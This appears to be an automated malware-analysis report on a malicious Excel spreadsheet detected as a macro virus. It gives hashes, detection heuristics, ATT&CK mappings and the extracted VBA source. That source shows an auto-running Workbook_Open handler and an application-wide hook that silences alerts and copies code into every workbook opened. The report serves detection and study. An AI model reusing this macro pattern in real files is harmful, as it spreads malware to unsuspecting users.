Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fad79f08fef9c92…

MALICIOUS

Office (OLE)

116.5 KB Created: 2009-06-23 15:09:09 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: a4af0541eaa95182f56989e8bce6bfd0 SHA-1: de60342ce22a2889c4bb45018d9f29c5f49dfdd7 SHA-256: 4fad79f08fef9c92de1acec9ea75ae2ff24889349682afcb2b079a9d0390cf7e
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel spreadsheet containing VBA macros, specifically a Workbook_Open macro. This macro is designed to execute arbitrary code, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic firing with 'exec=Shell'. The macro's intent is to run a secondary payload, which is a common technique for malware delivery. The ClamAV detection name 'Xls.Virus.Mailcab-6702020-0' further supports its malicious nature.

Heuristics 4

  • ClamAV: Xls.Virus.Mailcab-6702020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Mailcab-6702020-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1120 bytes
SHA-256: 733eb43661d2ef0e54d7636555815dc20980ceef4c75866b2942458d446aaab2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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